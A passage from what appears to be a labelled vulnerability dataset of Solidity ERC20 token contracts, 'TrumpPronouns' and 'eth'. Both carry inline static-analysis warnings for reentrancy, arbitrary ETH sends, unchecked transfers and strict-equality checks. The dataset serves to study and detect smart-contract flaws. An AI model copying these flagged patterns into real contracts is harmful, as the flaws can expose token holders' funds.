b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TrumpPronouns is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4f8ad3c): TrumpPronouns._taxWallet should be immutable \n\t// Recommendation for 4f8ad3c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 80a7a5a): TrumpPronouns._initialBuyTax should be constant \n\t// Recommendation for 80a7a5a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: bcf6bc7): TrumpPronouns._initialSellTax should be constant \n\t// Recommendation for bcf6bc7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4501726): TrumpPronouns._finalBuyTax should be constant \n\t// Recommendation for 4501726: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f5e417): TrumpPronouns._finalSellTax should be constant \n\t// Recommendation for 2f5e417: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3d93efd): TrumpPronouns._reduceBuyTaxAt should be constant \n\t// Recommendation for 3d93efd: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: f03d2d8): TrumpPronouns._reduceSellTaxAt should be constant \n\t// Recommendation for f03d2d8: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8dd4d45): TrumpPronouns._preventSwapBefore should be constant \n\t// Recommendation for 8dd4d45: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Trump Pronouns\";\n\n string private constant _symbol = unicode\"45/47\";\n\n uint256 public _maxTxAmount = calculate(_tTotal, 2);\n\n uint256 public _maxWalletSize = calculate(_tTotal, 2);\n\n\t// WARNING Optimization Issue (constable-states | ID: 633d076): TrumpPronouns._taxSwapThreshold should be constant \n\t// Recommendation for 633d076: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 70104da): TrumpPronouns._maxTaxSwap should be immutable \n\t// Recommendation for 70104da: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTaxSwap = calculate(_tTotal, 1);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 17ffd5b): TrumpPronouns.uniswapV2Router should be immutable \n\t// Recommendation for 17ffd5b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3bc79d7): TrumpPronouns.uniswapV2Pair should be immutable \n\t// Recommendation for 3bc79d7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3495247): TrumpPronouns.sellsPerBlock should be constant \n\t// Recommendation for 3495247: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 98ee6cb): TrumpPronouns.buysFirstBlock should be constant \n\t// Recommendation for 98ee6cb: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 70;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: db9bdf4): TrumpPronouns.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for db9bdf4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 030d03c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 030d03c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 887db7e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 887db7e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 030d03c\n\t\t// reentrancy-benign | ID: 887db7e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 030d03c\n\t\t// reentrancy-benign | ID: 887db7e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d661ee9): TrumpPronouns._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d661ee9: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 887db7e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 030d03c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8272589): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8272589: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 9a59b85): TrumpPronouns._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 9a59b85: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9069400): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9069400: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f349872): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f349872: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 9a59b85\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: 8272589\n\t\t\t\t// reentrancy-eth | ID: 9069400\n\t\t\t\t// reentrancy-eth | ID: f349872\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8272589\n\t\t\t\t\t// reentrancy-eth | ID: 9069400\n\t\t\t\t\t// reentrancy-eth | ID: f349872\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 9069400\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 9069400\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 8272589\n\t\t\t\t// reentrancy-eth | ID: f349872\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8272589\n\t\t\t\t\t// reentrancy-eth | ID: f349872\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f349872\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 8272589\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: f349872\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: f349872\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 8272589\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8272589\n\t\t// reentrancy-events | ID: 030d03c\n\t\t// reentrancy-benign | ID: 887db7e\n\t\t// reentrancy-eth | ID: 9069400\n\t\t// reentrancy-eth | ID: f349872\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 0919b4d): TrumpPronouns.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 0919b4d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8272589\n\t\t// reentrancy-events | ID: 030d03c\n\t\t// reentrancy-eth | ID: 9069400\n\t\t// reentrancy-eth | ID: f349872\n\t\t// arbitrary-send-eth | ID: 0919b4d\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 72c3abc): TrumpPronouns.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 72c3abc: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 72c3abc\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8e7dfb4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8e7dfb4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 87f6e04): TrumpPronouns.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 87f6e04: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b46bf47): TrumpPronouns.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for b46bf47: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: eb9d965): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for eb9d965: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 8e7dfb4\n\t\t// unused-return | ID: b46bf47\n\t\t// reentrancy-eth | ID: eb9d965\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 8e7dfb4\n\t\t// unused-return | ID: 87f6e04\n\t\t// reentrancy-eth | ID: eb9d965\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 8e7dfb4\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: eb9d965\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 8e7dfb4\n firstBlock = block.number;\n }\n\n receive() external payable {}\n\n function calculate(\n uint256 amount,\n uint256 bps\n ) private pure returns (uint256) {\n uint256 bpz = bps * 100;\n\n return (amount * bpz) / 10_000;\n }\n}\n",
"file_name": "solidity_code_10727.sol",
"size_bytes": 23569,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6ed6edd): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 6ed6edd: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 6ed6edd\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract eth is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 530abda): eth._taxWallet should be immutable \n\t// Recommendation for 530abda: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: eafd0e5): eth._initialBuyTax should be constant \n\t// Recommendation for eafd0e5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: ea32c24): eth._initialSellTax should be constant \n\t// Recommendation for ea32c24: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: a9e05c1): eth._finalBuyTax should be constant \n\t// Recommendation for a9e05c1: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3199ffa): eth._reduceBuyTaxAt should be constant \n\t// Recommendation for 3199ffa: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 05da0cb): eth._reduceSellTaxAt should be constant \n\t// Recommendation for 05da0cb: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 55d9da4): eth._preventSwapBefore should be constant \n\t// Recommendation for 55d9da4: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _maxTxAmount = _tTotal.mul(200).div(10000);\n\n uint256 public _maxWalletSize = _tTotal.mul(200).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: d8d94cf): eth._taxSwapThreshold should be constant \n\t// Recommendation for d8d94cf: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal.mul(100).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 76a28ea): eth._maxTaxSwap should be constant \n\t// Recommendation for 76a28ea: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal.mul(100).div(10000);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory name_, string memory symbol_) payable {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c16cca8): eth.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c16cca8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 83ac66a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 83ac66a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a267374): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a267374: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 83ac66a\n\t\t// reentrancy-benign | ID: a267374\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 83ac66a\n\t\t// reentrancy-benign | ID: a267374\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4cd598a): eth._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4cd598a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c659bbc\n\t\t// reentrancy-benign | ID: a267374\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 83ac66a\n\t\t// reentrancy-events | ID: 999db2a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8de2306): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8de2306: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bdc3d8d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bdc3d8d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, 